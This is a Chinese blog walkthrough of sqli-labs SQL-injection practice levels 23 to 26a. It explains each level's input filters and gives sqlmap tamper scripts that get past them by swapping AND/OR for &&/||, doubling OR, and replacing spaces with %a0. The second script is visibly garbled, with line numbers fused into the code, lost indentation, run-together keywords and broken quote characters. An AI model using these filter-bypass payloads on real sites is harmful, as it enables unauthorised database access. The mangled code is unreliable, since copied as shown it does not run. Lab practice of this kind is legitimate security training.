sqlilabless23less27a [数据库教程]

Z时代
2024-01-10
分类：综合

database

less23

本关过滤掉了注释符号-- 和#，并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1，将其加在注入语句的末尾，使用suffix参数

less-24

less-25

参数经过blacklist处理

blacklist内容：使用/i模式，表示不区分大小写，无法用大小写绕过。但是AND等价于&&，or等价于||

对sqlmap的一个payload进行修改

#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    if payload:
        payload1=payload.replace(‘ AND ‘,"&&")
        payload2=payload1.replace(‘ OR ‘,"||")
        payload=payload2
    return payload

　　成功注入

less-26

同上题，进行黑名单过滤，过滤内容加入了其他，过滤了注释符+ -- /*，空格和斜线

需要用and ‘1‘=‘1来闭合后边单引号，用%a0来替代空格，

修改tamper脚本

攻击日志：

less-26a

不同于上一关，这里是用小括号进行了包裹

tamper

 1#!/usr/bin/env python
 2
 3from lib.core.enums import PRIORITY
 4from lib.core.compat import xrange
 5import re
 6
 7__priority__ = PRIORITY.LOWEST
 8
 9def dependencies():
10pass
11
12def tamper(payload, **kwargs):
13
14if payload:
15         payload1=re.sub(r‘ AND ‘,‘%a0%26%26%a0‘,payload)
16         payload2=re.sub(r‘OR‘,‘OORR‘,payload1)
17         payload=payload2
18     retVal = payload
19
20if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23
24for i in xrange(len(payload)):
25ifnot firstspace:
26if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29continue
30
31elif payload[i] == ‘‘‘:
32                 quote = not quote
33
34elif payload[i] == ‘"‘:
35                 doublequote = not doublequote
36
37elif payload[i] == ""andnot doublequote andnot quote:
38                 retVal += "%a0"
39continue
40
41             retVal += payload[i]
42
43return retVal